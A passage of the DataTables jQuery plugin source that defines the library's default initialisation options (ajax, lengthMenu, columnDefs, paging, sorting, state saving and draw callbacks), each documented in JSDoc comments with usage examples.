*\n\t\t * As an object, the parameters in the object are passed to\n\t\t * [jQuery.ajax](http://api.jquery.com/jQuery.ajax/) allowing fine control\n\t\t * of the Ajax request. DataTables has a number of default parameters which\n\t\t * you can override using this option. Please refer to the jQuery\n\t\t * documentation for a full description of the options available, although\n\t\t * the following parameters provide additional options in DataTables or\n\t\t * require special consideration:\n\t\t *\n\t\t * * `data` - As with jQuery, `data` can be provided as an object, but it\n\t\t *   can also be used as a function to manipulate the data DataTables sends\n\t\t *   to the server. The function takes a single parameter, an object of\n\t\t *   parameters with the values that DataTables has readied for sending. An\n\t\t *   object may be returned which will be merged into the DataTables\n\t\t *   defaults, or you can add the items to the object that was passed in and\n\t\t *   not return anything from the function. This supersedes `fnServerParams`\n\t\t *   from DataTables 1.9-.\n\t\t *\n\t\t * * `dataSrc` - By default DataTables will look for the property `data` (or\n\t\t *   `aaData` for compatibility with DataTables 1.9-) when obtaining data\n\t\t *   from an Ajax source or for server-side processing - this parameter\n\t\t *   allows that property to be changed. You can use Javascript dotted\n\t\t *   object notation to get a data source for multiple levels of nesting, or\n\t\t *   it my be used as a function. As a function it takes a single parameter,\n\t\t *   the JSON returned from the server, which can be manipulated as\n\t\t *   required, with the returned value being that used by DataTables as the\n\t\t *   data source for the table. This supersedes `sAjaxDataProp` from\n\t\t *   DataTables 1.9-.\n\t\t *\n\t\t * * `success` - Should not be overridden it is used internally in\n\t\t *   DataTables. To manipulate / transform the data returned by the server\n\t\t *   use `ajax.dataSrc`, or use `ajax` as a function (see below).\n\t\t *\n\t\t * `function`\n\t\t * ----------\n\t\t *\n\t\t * As a function, making the Ajax call is left up to yourself allowing\n\t\t * complete control of the Ajax request. Indeed, if desired, a method other\n\t\t * than Ajax could be used to obtain the required data, such as Web storage\n\t\t * or an AIR database.\n\t\t *\n\t\t * The function is given four parameters and no return is required. The\n\t\t * parameters are:\n\t\t *\n\t\t * 1. _object_ - Data to send to the server\n\t\t * 2. _function_ - Callback function that must be executed when the required\n\t\t *    data has been obtained. That data should be passed into the callback\n\t\t *    as the only parameter\n\t\t * 3. _object_ - DataTables settings object for the table\n\t\t *\n\t\t * Note that this supersedes `fnServerData` from DataTables 1.9-.\n\t\t *\n\t\t *  @type string|object|function\n\t\t *  @default null\n\t\t *\n\t\t *  @dtopt Option\n\t\t *  @name DataTable.defaults.ajax\n\t\t *  @since 1.10.0\n\t\t *\n\t\t * @example\n\t\t *   // Get JSON data from a file via Ajax.\n\t\t *   // Note DataTables expects data in the form `{ data: [ ...data... ] }` by default).\n\t\t *   $('#example').dataTable( {\n\t\t *     \"ajax\": \"data.json\"\n\t\t *   } );\n\t\t *\n\t\t * @example\n\t\t *   // Get JSON data from a file via Ajax, using `dataSrc` to change\n\t\t *   // `data` to `tableData` (i.e. `{ tableData: [ ...data... ] }`)\n\t\t *   $('#example').dataTable( {\n\t\t *     \"ajax\": {\n\t\t *       \"url\": \"data.json\",\n\t\t *       \"dataSrc\": \"tableData\"\n\t\t *     }\n\t\t *   } );\n\t\t *\n\t\t * @example\n\t\t *   // Get JSON data from a file via Ajax, using `dataSrc` to read data\n\t\t *   // from a plain array rather than an array in an object\n\t\t *   $('#example').dataTable( {\n\t\t *     \"ajax\": {\n\t\t *       \"url\": \"data.json\",\n\t\t *       \"dataSrc\": \"\"\n\t\t *     }\n\t\t *   } );\n\t\t *\n\t\t * @example\n\t\t *   // Manipulate the data returned from the server - add a link to data\n\t\t *   // (note this can, should, be done using `render` for the column - this\n\t\t *   // is just a simple example of how the data can be manipulated).\n\t\t *   $('#example').dataTable( {\n\t\t *     \"ajax\": {\n\t\t *       \"url\": \"data.json\",\n\t\t *       \"dataSrc\": function ( json ) {\n\t\t *         for ( var i=0, ien=json.length ; i<ien ; i++ ) {\n\t\t *           json[i][0] = '<a href=\"/message/'+json[i][0]+'>View message</a>';\n\t\t *         }\n\t\t *         return json;\n\t\t *       }\n\t\t *     }\n\t\t *   } );\n\t\t *\n\t\t * @example\n\t\t *   // Add data to the request\n\t\t *   $('#example').dataTable( {\n\t\t *     \"ajax\": {\n\t\t *       \"url\": \"data.json\",\n\t\t *       \"data\": function ( d ) {\n\t\t *         return {\n\t\t *           \"extra_search\": $('#extra').val()\n\t\t *         };\n\t\t *       }\n\t\t *     }\n\t\t *   } );\n\t\t *\n\t\t * @example\n\t\t *   // Send request as POST\n\t\t *   $('#example').dataTable( {\n\t\t *     \"ajax\": {\n\t\t *       \"url\": \"data.json\",\n\t\t *       \"type\": \"POST\"\n\t\t *     }\n\t\t *   } );\n\t\t *\n\t\t * @example\n\t\t *   // Get the data from localStorage (could interface with a form for\n\t\t *   // adding, editing and removing rows).\n\t\t *   $('#example').dataTable( {\n\t\t *     \"ajax\": function (data, callback, settings) {\n\t\t *       callback(\n\t\t *         JSON.parse( localStorage.getItem('dataTablesData') )\n\t\t *       );\n\t\t *     }\n\t\t *   } );\n\t\t */\n\t\t\"ajax\": null,\n\t\n\t\n\t\t/**\n\t\t * This parameter allows you to readily specify the entries in the length drop\n\t\t * down menu that DataTables shows when pagination is enabled. It can be\n\t\t * either a 1D array of options which will be used for both the displayed\n\t\t * option and the value, or a 2D array which will use the array in the first\n\t\t * position as the value, and the array in the second position as the\n\t\t * displayed options (useful for language strings such as 'All').\n\t\t *\n\t\t * Note that the `pageLength` property will be automatically set to the\n\t\t * first value given in this array, unless `pageLength` is also provided.\n\t\t *  @type array\n\t\t *  @default [ 10, 25, 50, 100 ]\n\t\t *\n\t\t *  @dtopt Option\n\t\t *  @name DataTable.defaults.lengthMenu\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"lengthMenu\": [[10, 25, 50, -1], [10, 25, 50, \"All\"]]\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"aLengthMenu\": [ 10, 25, 50, 100 ],\n\t\n\t\n\t\t/**\n\t\t * The `columns` option in the initialisation parameter allows you to define\n\t\t * details about the way individual columns behave. For a full list of\n\t\t * column options that can be set, please see\n\t\t * {@link DataTable.defaults.column}. Note that if you use `columns` to\n\t\t * define your columns, you must have an entry in the array for every single\n\t\t * column that you have in your table (these can be null if you don't which\n\t\t * to specify any options).\n\t\t *  @member\n\t\t *\n\t\t *  @name DataTable.defaults.column\n\t\t */\n\t\t\"aoColumns\": null,\n\t\n\t\t/**\n\t\t * Very similar to `columns`, `columnDefs` allows you to target a specific\n\t\t * column, multiple columns, or all columns, using the `targets` property of\n\t\t * each object in the array. This allows great flexibility when creating\n\t\t * tables, as the `columnDefs` arrays can be of any length, targeting the\n\t\t * columns you specifically want. `columnDefs` may use any of the column\n\t\t * options available: {@link DataTable.defaults.column}, but it _must_\n\t\t * have `targets` defined in each object in the array. Values in the `targets`\n\t\t * array may be:\n\t\t *   <ul>\n\t\t *     <li>a string - class name will be matched on the TH for the column</li>\n\t\t *     <li>0 or a positive integer - column index counting from the left</li>\n\t\t *     <li>a negative integer - column index counting from the right</li>\n\t\t *     <li>the string \"_all\" - all columns (i.e. assign a default)</li>\n\t\t *   </ul>\n\t\t *  @member\n\t\t *\n\t\t *  @name DataTable.defaults.columnDefs\n\t\t */\n\t\t\"aoColumnDefs\": null,\n\t\n\t\n\t\t/**\n\t\t * Basically the same as `search`, this parameter defines the individual column\n\t\t * filtering state at initialisation time. The array must be of the same size\n\t\t * as the number of columns, and each element be an object with the parameters\n\t\t * `search` and `escapeRegex` (the latter is optional). 'null' is also\n\t\t * accepted and the default will be used.\n\t\t *  @type array\n\t\t *  @default []\n\t\t *\n\t\t *  @dtopt Option\n\t\t *  @name DataTable.defaults.searchCols\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"searchCols\": [\n\t\t *          null,\n\t\t *          { \"search\": \"My filter\" },\n\t\t *          null,\n\t\t *          { \"search\": \"^[0-9]\", \"escapeRegex\": false }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } )\n\t\t */\n\t\t\"aoSearchCols\": [],\n\t\n\t\n\t\t/**\n\t\t * An array of CSS classes that should be applied to displayed rows. This\n\t\t * array may be of any length, and DataTables will apply each class\n\t\t * sequentially, looping when required.\n\t\t *  @type array\n\t\t *  @default null <i>Will take the values determined by the `oClasses.stripe*`\n\t\t *    options</i>\n\t\t *\n\t\t *  @dtopt Option\n\t\t *  @name DataTable.defaults.stripeClasses\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"stripeClasses\": [ 'strip1', 'strip2', 'strip3' ]\n\t\t *      } );\n\t\t *    } )\n\t\t */\n\t\t\"asStripeClasses\": null,\n\t\n\t\n\t\t/**\n\t\t * Enable or disable automatic column width calculation. This can be disabled\n\t\t * as an optimisation (it takes some time to calculate the widths) if the\n\t\t * tables widths are passed in using `columns`.\n\t\t *  @type boolean\n\t\t *  @default true\n\t\t *\n\t\t *  @dtopt Features\n\t\t *  @name DataTable.defaults.autoWidth\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function () {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"autoWidth\": false\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bAutoWidth\": true,\n\t\n\t\n\t\t/**\n\t\t * Deferred rendering can provide DataTables with a huge speed boost when you\n\t\t * are using an Ajax or JS data source for the table. This option, when set to\n\t\t * true, will cause DataTables to defer the creation of the table elements for\n\t\t * each row until they are needed for a draw - saving a significant amount of\n\t\t * time.\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t *\n\t\t *  @dtopt Features\n\t\t *  @name DataTable.defaults.deferRender\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"ajax\": \"sources/arrays.txt\",\n\t\t *        \"deferRender\": true\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bDeferRender\": false,\n\t\n\t\n\t\t/**\n\t\t * Replace a DataTable which matches the given selector and replace it with\n\t\t * one which has the properties of the new initialisation object passed. If no\n\t\t * table matches the selector, then the new DataTable will be constructed as\n\t\t * per normal.\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @name DataTable.defaults.destroy\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"srollY\": \"200px\",\n\t\t *        \"paginate\": false\n\t\t *      } );\n\t\t *\n\t\t *      // Some time later....\n\t\t *      $('#example').dataTable( {\n\t\t *        \"filter\": false,\n\t\t *        \"destroy\": true\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bDestroy\": false,\n\t\n\t\n\t\t/**\n\t\t * Enable or disable filtering of data. Filtering in DataTables is \"smart\" in\n\t\t * that it allows the end user to input multiple words (space separated) and\n\t\t * will match a row containing those words, even if not in the order that was\n\t\t * specified (this allow matching across multiple columns). Note that if you\n\t\t * wish to use filtering in DataTables this must remain 'true' - to remove the\n\t\t * default filtering input box and retain filtering abilities, please use\n\t\t * {@link DataTable.defaults.dom}.\n\t\t *  @type boolean\n\t\t *  @default true\n\t\t *\n\t\t *  @dtopt Features\n\t\t *  @name DataTable.defaults.searching\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function () {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"searching\": false\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bFilter\": true,\n\t\n\t\n\t\t/**\n\t\t * Enable or disable the table information display. This shows information\n\t\t * about the data that is currently visible on the page, including information\n\t\t * about filtered data if that action is being performed.\n\t\t *  @type boolean\n\t\t *  @default true\n\t\t *\n\t\t *  @dtopt Features\n\t\t *  @name DataTable.defaults.info\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function () {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"info\": false\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bInfo\": true,\n\t\n\t\n\t\t/**\n\t\t * Enable jQuery UI ThemeRoller support (required as ThemeRoller requires some\n\t\t * slightly different and additional mark-up from what DataTables has\n\t\t * traditionally used).\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t *\n\t\t *  @dtopt Features\n\t\t *  @name DataTable.defaults.jQueryUI\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"jQueryUI\": true\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bJQueryUI\": false,\n\t\n\t\n\t\t/**\n\t\t * Allows the end user to select the size of a formatted page from a select\n\t\t * menu (sizes are 10, 25, 50 and 100). Requires pagination (`paginate`).\n\t\t *  @type boolean\n\t\t *  @default true\n\t\t *\n\t\t *  @dtopt Features\n\t\t *  @name DataTable.defaults.lengthChange\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function () {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"lengthChange\": false\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bLengthChange\": true,\n\t\n\t\n\t\t/**\n\t\t * Enable or disable pagination.\n\t\t *  @type boolean\n\t\t *  @default true\n\t\t *\n\t\t *  @dtopt Features\n\t\t *  @name DataTable.defaults.paging\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function () {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"paging\": false\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bPaginate\": true,\n\t\n\t\n\t\t/**\n\t\t * Enable or disable the display of a 'processing' indicator when the table is\n\t\t * being processed (e.g. a sort). This is particularly useful for tables with\n\t\t * large amounts of data where it can take a noticeable amount of time to sort\n\t\t * the entries.\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t *\n\t\t *  @dtopt Features\n\t\t *  @name DataTable.defaults.processing\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function () {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"processing\": true\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bProcessing\": false,\n\t\n\t\n\t\t/**\n\t\t * Retrieve the DataTables object for the given selector. Note that if the\n\t\t * table has already been initialised, this parameter will cause DataTables\n\t\t * to simply return the object that has already been set up - it will not take\n\t\t * account of any changes you might have made to the initialisation object\n\t\t * passed to DataTables (setting this parameter to true is an acknowledgement\n\t\t * that you understand this). `destroy` can be used to reinitialise a table if\n\t\t * you need.\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @name DataTable.defaults.retrieve\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      initTable();\n\t\t *      tableActions();\n\t\t *    } );\n\t\t *\n\t\t *    function initTable ()\n\t\t *    {\n\t\t *      return $('#example').dataTable( {\n\t\t *        \"scrollY\": \"200px\",\n\t\t *        \"paginate\": false,\n\t\t *        \"retrieve\": true\n\t\t *      } );\n\t\t *    }\n\t\t *\n\t\t *    function tableActions ()\n\t\t *    {\n\t\t *      var table = initTable();\n\t\t *      // perform API operations with oTable\n\t\t *    }\n\t\t */\n\t\t\"bRetrieve\": false,\n\t\n\t\n\t\t/**\n\t\t * When vertical (y) scrolling is enabled, DataTables will force the height of\n\t\t * the table's viewport to the given height at all times (useful for layout).\n\t\t * However, this can look odd when filtering data down to a small data set,\n\t\t * and the footer is left \"floating\" further down. This parameter (when\n\t\t * enabled) will cause DataTables to collapse the table's viewport down when\n\t\t * the result set will fit within the given Y height.\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @name DataTable.defaults.scrollCollapse\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"scrollY\": \"200\",\n\t\t *        \"scrollCollapse\": true\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bScrollCollapse\": false,\n\t\n\t\n\t\t/**\n\t\t * Configure DataTables to use server-side processing. Note that the\n\t\t * `ajax` parameter must also be given in order to give DataTables a\n\t\t * source to obtain the required data for each draw.\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t *\n\t\t *  @dtopt Features\n\t\t *  @dtopt Server-side\n\t\t *  @name DataTable.defaults.serverSide\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function () {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"serverSide\": true,\n\t\t *        \"ajax\": \"xhr.php\"\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bServerSide\": false,\n\t\n\t\n\t\t/**\n\t\t * Enable or disable sorting of columns. Sorting of individual columns can be\n\t\t * disabled by the `sortable` option for each column.\n\t\t *  @type boolean\n\t\t *  @default true\n\t\t *\n\t\t *  @dtopt Features\n\t\t *  @name DataTable.defaults.ordering\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function () {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"ordering\": false\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bSort\": true,\n\t\n\t\n\t\t/**\n\t\t * Enable or display DataTables' ability to sort multiple columns at the\n\t\t * same time (activated by shift-click by the user).\n\t\t *  @type boolean\n\t\t *  @default true\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @name DataTable.defaults.orderMulti\n\t\t *\n\t\t *  @example\n\t\t *    // Disable multiple column sorting ability\n\t\t *    $(document).ready( function () {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"orderMulti\": false\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bSortMulti\": true,\n\t\n\t\n\t\t/**\n\t\t * Allows control over whether DataTables should use the top (true) unique\n\t\t * cell that is found for a single column, or the bottom (false - default).\n\t\t * This is useful when using complex headers.\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @name DataTable.defaults.orderCellsTop\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"orderCellsTop\": true\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bSortCellsTop\": false,\n\t\n\t\n\t\t/**\n\t\t * Enable or disable the addition of the classes `sorting\\_1`, `sorting\\_2` and\n\t\t * `sorting\\_3` to the columns which are currently being sorted on. This is\n\t\t * presented as a feature switch as it can increase processing time (while\n\t\t * classes are removed and added) so for large data sets you might want to\n\t\t * turn this off.\n\t\t *  @type boolean\n\t\t *  @default true\n\t\t *\n\t\t *  @dtopt Features\n\t\t *  @name DataTable.defaults.orderClasses\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function () {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"orderClasses\": false\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bSortClasses\": true,\n\t\n\t\n\t\t/**\n\t\t * Enable or disable state saving. When enabled HTML5 `localStorage` will be\n\t\t * used to save table display information such as pagination information,\n\t\t * display length, filtering and sorting. As such when the end user reloads\n\t\t * the page the display display will match what thy had previously set up.\n\t\t *\n\t\t * Due to the use of `localStorage` the default state saving is not supported\n\t\t * in IE6 or 7. If state saving is required in those browsers, use\n\t\t * `stateSaveCallback` to provide a storage solution such as cookies.\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t *\n\t\t *  @dtopt Features\n\t\t *  @name DataTable.defaults.stateSave\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function () {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"stateSave\": true\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"bStateSave\": false,\n\t\n\t\n\t\t/**\n\t\t * This function is called when a TR element is created (and all TD child\n\t\t * elements have been inserted), or registered if using a DOM source, allowing\n\t\t * manipulation of the TR element (adding classes etc).\n\t\t *  @type function\n\t\t *  @param {node} row \"TR\" element for the current row\n\t\t *  @param {array} data Raw data array for this row\n\t\t *  @param {int} dataIndex The index of this row in the internal aoData array\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @name DataTable.defaults.createdRow\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"createdRow\": function( row, data, dataIndex ) {\n\t\t *          // Bold the grade for all 'A' grade browsers\n\t\t *          if ( data[4] == \"A\" )\n\t\t *          {\n\t\t *            $('td:eq(4)', row).html( '<b>A</b>' );\n\t\t *          }\n\t\t *        }\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"fnCreatedRow\": null,\n\t\n\t\n\t\t/**\n\t\t * This function is called on every 'draw' event, and allows you to\n\t\t * dynamically modify any aspect you want about the created DOM.\n\t\t *  @type function\n\t\t *  @param {object} settings DataTables settings object\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @name DataTable.defaults.drawCallback\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"drawCallback\": function( settings ) {\n\t\t *          alert( 'DataTables has redrawn the table' );\n\t\t *        }\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"fnDrawCallback\": null,\n\t\n\t\n\t\t/**\n\t\t * Identical to fnHeaderCallback() but for the table footer this function\n\t\t * allows you to modify the table footer on every 'draw' event.\n\t\t *  @type function\n\t\t *  @param {node} foot \"TR\" element for the footer\n\t\t *  @param {array} data Full table data (as derived from the original HTML)\n\t\t *  @param {int} start Index for the current display starting point in the\n\t\t *    display array\n\t\t *  @param {int} end Index for the current display ending point in the\n\t\t *    display array\n\t\t *  @param {array int} display Index array to translate the visual position\n\t\t *    to the full data array\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @name DataTable.defaults.footerCallback\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"footerCallback\": function( tfoot, data, start, end, display ) {\n\t\t *          tfoot.getElementsByTagName('th')[0].innerHTML = \"Starting index is \"+start;\n\t\t *        }\n\t\t *      } );\n\t\t *    } )\n\t\t */\n\t\t\"fnFooterCallback\": null,\n\t\n\t\n\t\t/**\n\t\t * When rendering large numbers in the information element for the table\n\t\t * (i.e. \"Showing 1 to 10 of 57 entries\") DataTables will render large numbers\n\t\t * to have a comma separator for the 'thousands' units (e.g. 1 million is\n\t\t * rendered as \"1,000,000\") to help readability for the end user. This\n\t\t * function will override the default method DataTables uses.\n\t\t *  @type function\n\t\t *  @member\n\t\t *  @param {int} toFormat number to be formatted\n\t\t *  @returns {string} formatted string for DataTables to show the number\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @name DataTable.defaults.formatNumber\n\t\t *\n\t\t *  @example\n\t\t *    // Format a number using a single quote for the separator (note that\n\t\t *    // this can also be done with the language.infoThousands option)\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"formatNumber\": function ( toFormat ) {\n\t\t *          return toFormat.toString().replace(\n\t\t *            /\\B(?=(\\d{3})+(?!\\d))/g, \"'\"\n\t\t *          );\n\t\t *        };\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"fnFormatNumber\": function ( toFormat ) {\n\t\t\treturn toFormat.toString().replace(\n\t\t\t\t/\\B(?=(\\d{3})+(?!\\d))/g,\n\t\t\t\tthis.oLanguage.sInfoThousands\n\t\t\t);\n\t\t},\n\t\n\t\n\t\t/**\n\t\t * This function is called on every 'draw' event, and allows you to\n\t\t * dynamically modify the header row. This can be used to calculate and\n\t\t * display useful information about the table.\n\t\t *  @type function\n\t\t *  @param {node} head \"TR\" element for the header\n\t\t *  @param {array} data Full table data (as derived from the original HTML)\n\t\t *  @param {int} start Index for the current display starting point in the\n\t\t *    display array\n\t\t *  @param {int} end Index for the current display ending point in the\n\t\t *    display array\n\t\t *  @param {array int} display Index array to translate the visual position\n\t\t *    to the full data array\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @name DataTable.defaults.headerCallback\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"fheaderCallback\": function( head, data, start, end, display ) {\n\t\t *          head.getElementsByTagName('th')[0].innerHTML = \"Displaying \"+(end-start)+\" records\";\n\t\t *        }\n\t\t *      } );\n\t\t *    } )\n\t\t */\n\t\t\"fnHeaderCallback\": null,\n\t\n\t\n\t\t/**\n\t\t * The information element can be used to convey information about the current\n\t\t * state of the table. Although the internationalisation options presented by\n\t\t * DataTables are quite capable of dealing with most customisations, there may\n\t\t * be times where you wish to customise the string further. This callback\n\t\t * allows you to do exactly that.\n\t\t *  @type function\n\t\t *  @param {object} oSettings DataTables settings object\n\t\t *  @param {int} start Starting position in data for the draw\n\t\t *  @param {int} end End position in data for the draw\n\t\t *  @param {int} max Total number of rows in the table (regardless of\n\t\t *    filtering)\n\t\t *  @param {int} total Total number of rows in the data set, after filtering\n\t\t *  @param {string} pre The string that DataTables has formatted using it's\n\t\t *    own rules\n\t\t *  @returns {string} The string to be displayed in the information element.\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @name DataTable.defaults.infoCallback\n\t\t *\n\t\t *  @example\n\t\t *    $('#example').dataTable( {\n\t\t *      \"infoCallback\": function( settings, start, end, max, total, pre ) {\n\t\t *        return start +\" to \"+ end;\n\t\t *      }\n\t\t *    } );\n\t\t */\n\t\t\"fnInfoCallback\": null,\n\t\n\t\n\t\t/**\n\t\t * Called when the table has been initialised. Normally DataTables will\n\t\t * initialise sequentially and there will be no need for this function,\n\t\t * however, this does not hold true when using external language information\n\t\t * since that is obtained using an async XHR call.\n\t\t *  @type function\n\t\t *  @param {object} settings DataTables settings object\n\t\t *  @param {object} json The JSON object request from the server - only\n\t\t *    present if client-side Ajax sourced data is used\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @name DataTable.defaults.initComplete\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"initComplete\": function(settings, json) {\n\t\t *          alert( 'DataTables has finished its initialisation.' );\n\t\t *        }\n\t\t *      } );\n\t\t *    } )\n\t\t */\n\t\t\"fnInitComplete\": null,\n\t\n\t\n\t\t/**\n\t\t * Called at the very start of each table draw and can be used to cancel the\n\t\t * draw by returning false, any other return (including undefined) results in\n\t\t * the full draw occurring).\n\t\t *  @type function\n\t\t *  @param {object} settings DataTables settings object\n\t\t *  @returns {boolean} False will cancel the draw, anything else (including no\n\t\t *    return) will allow it to complete.\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @name DataTable.defaults.preDrawCallback\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"preDrawCallback\": function( settings ) {\n\t\t *          if ( $('#test').val() == 1 ) {\n\t\t *            return false;\n\t\t *          }\n\t\t *        }\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"fnPreDrawCallback\": null,\n\t\n\t\n\t\t/**\n\t\t * This function allows you to 'post process' each row after it have been\n\t\t * generated for each table draw, but before it is rendered on screen. This\n\t\t * function might be used for setting the row class name etc.\n\t\t *  @type function\n\t\t *  @param {node} row \"TR\" element for the current row\n\t\t *  @param {array} data Raw data array for this row\n\t\t *  @param {int} displayIndex The display index for the current table draw\n\t\t *  @param {int} displayIndexFull The index of the data in the full list of\n\t\t *    rows (after filtering)\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @name DataTable.defaults.rowCallback\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"rowCallback\": function( row, data, displayIndex, displayIndexFull ) {\n\t\t *          // Bold the grade for all 'A' grade browsers\n\t\t *          if ( data[4] == \"A\" ) {\n\t\t *            $('td:eq(4)', row).html( '<b>A</b>' );\n\t\t *          }\n\t\t *        }\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"fnRowCallback\": null,\n\t\n\t\n\t\t/**\n\t\t * __Deprecated__ The functionality provided by this parameter has now been\n\t\t * superseded by that provided through `ajax`, which should be used instead.\n\t\t *\n\t\t * This parameter allows you to override the default function which obtains\n\t\t * the data from the server so something more suitable for your application.\n\t\t * For example you could use POST data, or pull information from a Gears or\n\t\t * AIR database.\n\t\t *  @type function\n\t\t *  @member\n\t\t *  @param {string} source HTTP source to obtain the data from (`ajax`)\n\t\t *  @param {array} data A key/value pair object containing the data to send\n\t\t *    to the server\n\t\t *  @param {function} callback to be called on completion of the data get\n\t\t *    process that will draw the data on the page.\n\t\t *  @param {object} settings DataTables settings object\n\t\t *\n\t\t *  @dtopt Callbacks\n\t\t *  @dtopt Server-side\n\t\t *  @name DataTable.defaults.serverData\n\t\t *\n\t\t *  @deprecated 1.10. Please use `ajax` for this functionality now.\n\t\t */\n\t\t\"fnServerData\": null,\n\t\n\t\n\t\t/**\n\t\t * __Deprecated__ The functionality provided by this parameter has now been\n\t\t * superseded by that provided through `ajax`, which should be used instead.\n\t\t *\n\t\t *  It is often useful to send extra data to the server when making an Ajax\n\t\t * request - for example custom filtering information, and this callback\n\t\t * function makes it trivial to send extra information to the server. The\n\t\t * passed in parameter is the data set that has been constructed by\n\t\t * DataTables, and you can add to this or modify it as you require.\n\t\t *  @type function\n\t\t *  @param {array} data Data array (array of objects which are name/value\n\t\t *    pairs) that has been constructed by DataTables and will be sent to the\n\t\t *    server. In the case of Ajax sourced data with server-side processing\n\t\t *    this will be an empty array, for server-side processing there will be a\n\t\t *    significant number of parameters!\n\t\t *  @returns {undefined} Ensure that you modify the data array passed in,\n\t\t *    as this is passed by reference.\n\t\t 